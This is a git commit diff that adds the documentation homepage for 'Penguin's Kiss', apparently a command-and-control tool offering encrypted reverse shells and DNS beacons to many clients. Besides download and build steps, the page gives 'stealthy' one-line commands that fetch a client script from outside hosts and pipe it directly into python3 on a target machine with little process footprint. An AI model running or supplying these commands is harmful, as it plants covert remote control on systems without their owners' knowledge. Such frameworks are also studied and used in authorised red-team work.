diff options
| author | Carson Fleming <cflems@cflems.net> | 2025-01-24 20:57:54 -0500 |
|---|---|---|
| committer | Carson Fleming <cflems@cflems.net> | 2025-01-24 20:57:54 -0500 |
| commit | 20e78c828e3995371a5ed29f3f53514370b7c152 (patch) | |
| tree | e8d738d41be5cb9c657babf66facb8ef7459abab /index.php | |
| download | pk-20e78c828e3995371a5ed29f3f53514370b7c152.tar.gz | |
host docs here now
Diffstat (limited to 'index.php')
| -rw-r--r-- | index.php | 59 |
1 files changed, 59 insertions, 0 deletions
diff --git a/index.php b/index.php new file mode 100644 index 0000000..6a72074 --- /dev/null +++ b/index.php @@ -0,0 +1,59 @@ +<!DOCTYPE html> +<html lang="en"> + <head> +<?php +require('include/meta.php'); +?> + <title>Penguin's Kiss Command & Control Software | Penguin's Kiss</title> + <link rel="canonical" href="https://c2.pkctl.org/" /> + </head> +<?php +require('include/header.php'); +?> + <p>Penguin's Kiss is command and control software designed to accomodate a large + number of clients and controllers at once. Multiple channels are available for + end-to-end encrypted delivery of shell commands, including direct TCP reverse + shell, DNS beacon, and beacon-triggered direct connection. All information is sent + encrypted, either by padded RSA or by one-time pad exchanged over RSA (this helps + to keep short data snippets responsive and avoid ballooning message size). In the + future, some work may be done to incorporate elliptic curve cryptography and + one-time session keys utilizing some symmetric cipher (likely AES).</p> + <section id="download"> + <h3>Downloading PK</h3> + <p>The quickest way to download is via the button in the top right. This will take + you to the latest release on + <a href="https://github.com/cflems/pk">GitHub</a>. You can also clone the + <a href="https://github.com/cflems/pk/tree/master">master</a> (pseudo-stable) + or + <a href="https://github.com/cflems/pk/tree/develop">develop</a> (unstable) + branches to receive feature updates before they are bundled into a full + release.</p> + </section> + <section id="build"> + <h3>Building PK</h3> + <p>PK doesn't require much in the way of compilation, just bundling into a + single script that can be distributed or run. This functionality is written in + the makefile for easy access, so fetching and compilation should be as simple + as:</p> + <pre># or tar -xzf pk.tgz if you've downloaded an archive +git clone git@github.com:cflems/pk.git +cd pk +make</pre> + <p>Your built artifacts will be <code>pkcli.py</code> and <code>pkd.py</code>. + Building is required before PK can be run for the first time.</p> + </section> + <section id="precompiled"> + <h3>Precompiled Client Scripts</h3> + <p>Since cloning and building the latest version isn't the stealthiest + procedure to execute on a client machine, prebuilt versions of the latest + client script will be hosted in the several locations and can be executed + without meaningful process footprint as follows:</p> + <pre>curl -s https://dl.pkctl.org/pk.py | ENV=... python3 -</pre> + <pre>curl -s https://war.cflems.net/pk.py | ENV=... python3 -</pre> + <p>You may wish to host your own, however, in order to tweak the default values + to your needs and avoid feeding them via enviornment variables.</p> + </section> +<?php +require('include/footer.php'); +?> +</html> |
